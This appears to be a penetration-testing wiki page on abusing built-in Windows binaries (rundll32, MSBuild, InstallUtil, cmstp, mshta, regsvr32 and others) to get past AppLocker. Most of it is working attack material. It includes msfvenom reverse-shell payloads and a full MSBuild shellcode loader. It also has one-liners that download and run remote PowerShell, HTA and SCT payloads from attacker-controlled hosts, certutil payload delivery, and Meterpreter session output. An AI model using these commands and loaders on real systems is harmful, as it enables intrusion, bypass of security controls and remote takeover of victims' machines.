# LOLBas

**LOLBas** - Windows utilities

Project link:[https://lolbas-project.github.io/#](https://lolbas-project.github.io)

## LOLBas

### rundll32

Rundll32 is a Microsoft binary that can execute code that is inside a DLL file. Since this utility is part of the Windows operating system it can be used as a method in order to bypass AppLocker rules or Software Restriction Policies. So if the environment is not properly lockdown and users are permitted to use this binary then they can write their own DLL’s and bypass any restrictions or execute malicious JavaScript code.&#x20;

#### Rundll32  - CMD&#x20;

In Windows systems that have locked the command prompt via an AppLocker rule it is possible to bypass this restriction by injecting a malicious DLL file into a legitimate process. Didier Stevens has released a modified version of cmd in the form of a DLL file by using an open source variant obtained from the ReactOS.&#x20;

Download the new cmd: <http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip>&#x20;

Since the rundll32 is a trusted Microsoft utility it can be used to load the cmd.dll into a process, execute the code on the DLL and therefore bypass the AppLocker rule and open the command prompt. &#x20;

The following two commands can be executed from the Windows Run:&#x20;

`rundll32 C:\cmd.dll,EntryPoint`&#x20;

`rundll32 shell32.dll,Control_RunDLL C:\cmd.dll`&#x20;

#### Rundll32 – JavaScript&#x20;

It possible to utilize the rundll32 binary in order to execute JavaScript code that has an embedded payload and it hosted on a webserver. The Metasploit module web delivery can quickly create a webserver that will serve a specific payload (Python, PHP or PowerShell). In this case the payload will be PowerShell.&#x20;

Use: exploit/multi/script/web\_delivery&#x20;

Set LHOST as your IP, LPORT port, payload windows/meterperter/reverese\_tcp&#x20;

And run exploit, on the victim:&#x20;

`rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"` ![Rundll32 - JavaScript](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FACQVJYx3VogdDeppHJfk%2Ffile.png?alt=media)

#### Rundll32 – Meterpreter&#x20;

The Metasploit Msfvenom can be used in order to create a custom DLL that will contain a meterpreter payload:&#x20;

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll`&#x20;

The utility rundll32 can then load and execute the payload that is inside the pentestlab.dll.&#x20;

`rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll`&#x20;

\*Also can be used with certutil to encode the dll:&#x20;

&#x20;`certutil -encode TikiThings.dll TikiThings.enc`&#x20;

On target:&#x20;

`C:\> certutil -urlcache -split -f https://pastebin.com/raw/SAeR96bC TikiThings.enc`&#x20;

`C:\> certutil -decode TikiThings.enc TikiThings.dll`&#x20;

![Rundll32 - Injecting DLL into a Process](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FdEnXIiBVL0IayhBJOZ1o%2Ffile.png?alt=media)

Source: <https://pentestlab.blog/tag/rundll32/>

### MSBuild

Originally MSBuild was introduced in order to enable developers to build products in environments where Visual Studio is not installed. Specifically this binary can compile XML C# project files since it has a method called Tasks that can execute a task which is written in a managed code. &#x20;

It is possible to use Metasploit MSFVenom in order to generate C# shellcode which it will be executed on the target system in order to obtain a Meterpreter session.&#x20;

**Use** [**unlock applocker** ](https://infra.newerasec.com/infrastructure-testing/tools/unlock-applocker)**to generate payload automatic**&#x20;

#### Manually:

Generate payload:&#x20;

`msfvenom --platform windows -p windows/meterpreter/reverse_tcp lhost=10.10.10.1 lport=445 -f csharp -o meterpreter_445.cs -v shellcode`                                                    &#x20;

Append it to the following XML code:&#x20;

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {
              0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
              0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
              0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
              0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
              0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
              0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
              0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
              0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
              0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
              0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
              0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
              0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
              0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x20,0x63,0x00 };
              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

upload to the victim:&#x20;

`iwr -uri` [`http://10.10.14.4/meterpreter.csproj`](http://10.10.14.4/meterpreter.csproj) `-outfile a.csproj`

Remote File Deployment:&#x20;

```
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
```

Make sure you run a meterpreter listerner:&#x20;

```
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set lhost 192.168.17.130 
lhost => 192.168.17.130 
msf5 exploit(multi/handler) > set lport 443 
lport => 443 
msf5 exploit(multi/handler) > run 
```

Run:&#x20;

```
c:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe C:\Users\David\Desktop\exploit.csproj 
Microsoft (R) Build Engine version 4.7.3190.0 
[Microsoft .NET Framework, version 4.0.30319.42000] 
Copyright (C) Microsoft Corporation. All rights reserved. 
Build started 05/11/2019 14:08:15. 
```

Hola!&#x20;

```
[*] Started reverse TCP handler on 192.168.17.130:443  
[*] Sending stage (180291 bytes) to 192.168.17.1 
[*] Meterpreter session 1 opened (192.168.17.130:443 -> 192.168.17.1:24989) at 2019-11-05 14:08:16 +0000 
meterpreter > sysinfo 
Computer        : DESKTOP-41JRS1D 
OS              : Windows 10 (10.0 Build 17763). 
Architecture    : x64 
System Language : en_GB 
Domain          : WORKGROUP 
Logged On Users : 2 
Meterpreter     : x86/windows 
```

**FULL MSBuild shell**&#x20;

<https://github.com/Cn33liz/MSBuildShell&#x20>;

File Path:&#x20;

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe 
```

#### Call MSBuild without msbuild&#x20;

[MSBuildAPICaller ](https://infra.newerasec.com/infrastructure-testing/tools/msbuildapicaller)

### Installutil

Execute the target .NET DLL or EXE using the uninstall method:&#x20;

`InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll`&#x20;

#### **File path**

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe 
```

#### Metasploit&#x20;

There is a specific Metasploit module which can be used to bypass AppLocker via the InstallUtil method.&#x20;

`exploit/windows/local/applocker_bypass`&#x20;

This module will generate a .NET executable on the target system and it will utilize the InstallUtil binary to execute the payload bypassing the AppLocker protection.&#x20;

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FXicKB0M4p2z5EJRgRmnl%2Ffile.png?alt=media)

### cmstp

CMSTP is a binary which is associated with the Microsoft Connection Manager Profile Installer. It accepts INF files which can be weaponised with malicious commands in order to execute arbitrary code in the form of scriptlets (SCT) and DLL. It is a trusted Microsoft binary which is located in the following two Windows directories.&#x20;

#### **File path**

`C:\Windows\System32\cmstp.exe`&#x20;

`C:\Windows\SysWOW64\cmstp.exe`&#x20;

Crete malicious dll:&#x20;

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > /root/tools/mitre/cmstp/evil.dll`&#x20;

Creating a file (f.inf) that will be loaded by CSMTP.exe binary that will in turn load our evil.dll:

```
[version] 
Signature=$chicago$ 
AdvancedINF=2.5 
[DefaultInstall_SingleUser] 
RegisterOCXs=RegisterOCXSection 
[RegisterOCXSection] 
C:\experiments\cmstp\evil.dll 
[Strings] 
AppAct = "SOFTWARE\Microsoft\Connection Manager" 
ServiceName="mantvydas" 
ShortSvcName="mantvydas" 
```

Invoking the payload:&#x20;

`PS C:\experiments\cmstp> cmstp.exe /s .\f.inf`&#x20;

Credit: <https://ired.team/offensive-security/code-execution/t1191-cmstp-code-execution>

### Regasm

Loads the target .DLL file and executes the UnRegisterClass function.&#x20;

`regasm.exe /U AllTheThingsx64.dll`&#x20;

Loads the target .DLL file and executes the RegisterClass function.&#x20;

`regasm.exe AllTheThingsx64.dll`&#x20;

File path:&#x20;

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe
```

### &#x20;Mshta

Executes code inside evilfile.hta.&#x20;

`mshta.exe C:\poc\evilfile.hta`&#x20;

Executes remote SCT file&#x20;

`mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();`&#x20;

Executes hta file from external webserver&#x20;

`mshta.exe` [`http://webserver/payload.hta`](http://webserver/payload.hta)

Example:&#x20;

`mshta.exe` [`http://192.168.1.109:8080/pKz4Kk059Nq9.hta`](http://192.168.1.109:8080/pKz4Kk059Nq9.hta)

#### File path:&#x20;

```
C:\Windows\System32\mshta.exe 
C:\Windows\SysWOW64\mshta.exe
```

#### Example for hta:&#x20;

```
<HTML> 
<HEAD> 
Set objShell = CreateObject("Wscript.Shell") 
objShell.Run "powershell -noP -sta -w 1 -enc <BASE64 ENCODED EMPIRE STAGER>" 
</HEAD> 
<BODY> 
</BODY> 
</HTML>
```

#### Unicorn:&#x20;

`root@Kali:/opt/unicorn/# python /opt/unicorn/unicorn.py windows/meterpreter/reverse_tcp 172.20.10.3 4444 hta`&#x20;

SharpShooter&#x20;

`root@Kali:/opt/SharpShooter# python SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ~/Downloads/cobaltstrike_payloads/payload2.cs --sandbox 4 --smuggle --template mcafee`&#x20;

### hh

Binary used for processing chm files in Windows&#x20;

Paths:&#x20;

`C:\Windows\System32\hh.exe`&#x20;

`C:\Windows\SysWOW64\hh.exe`&#x20;

Download&#x20;

Open the target PowerShell script with HTML Help. \
`HH.exe` [`http://some.url/script.ps1`](http://some.url/script.ps1)

Execute&#x20;

Executes calc.exe with HTML Help. \
`HH.exe c:\windows\system32\calc.exe`&#x20;

### Regsvcs

Loads the target .DLL file and executes the UnRegisterClass function.&#x20;

`regsvcs.exe /U regsvcs.dll`&#x20;

Loads the target .DLL file and executes the RegisterClass function.&#x20;

`regsvcs.exe regsvcs.dll`&#x20;

File path:&#x20;

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe 
```

### Regsvr32

We will run a malicious sct file:&#x20;

```
<?XML version="1.0"?> 
<scriptlet> 
<registration 
  progid="TESTING" 
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" > 
  <script language="JScript"> 
    <![CDATA[ 
      var foo = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe");  
    ]]> 
</script> 
</registration> 
</scriptlet> 
```

We need to host the back.sct on a web server so we can invoke it like so:&#x20;

`regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll`&#x20;

#### Metasploit&#x20;

Metasploit Framework has a specific payload which can be used to bypass AppLocker via the Regsvr32 utility automatically.&#x20;

`exploit/windows/misc/regsvr32_applocker_bypass_server`&#x20;
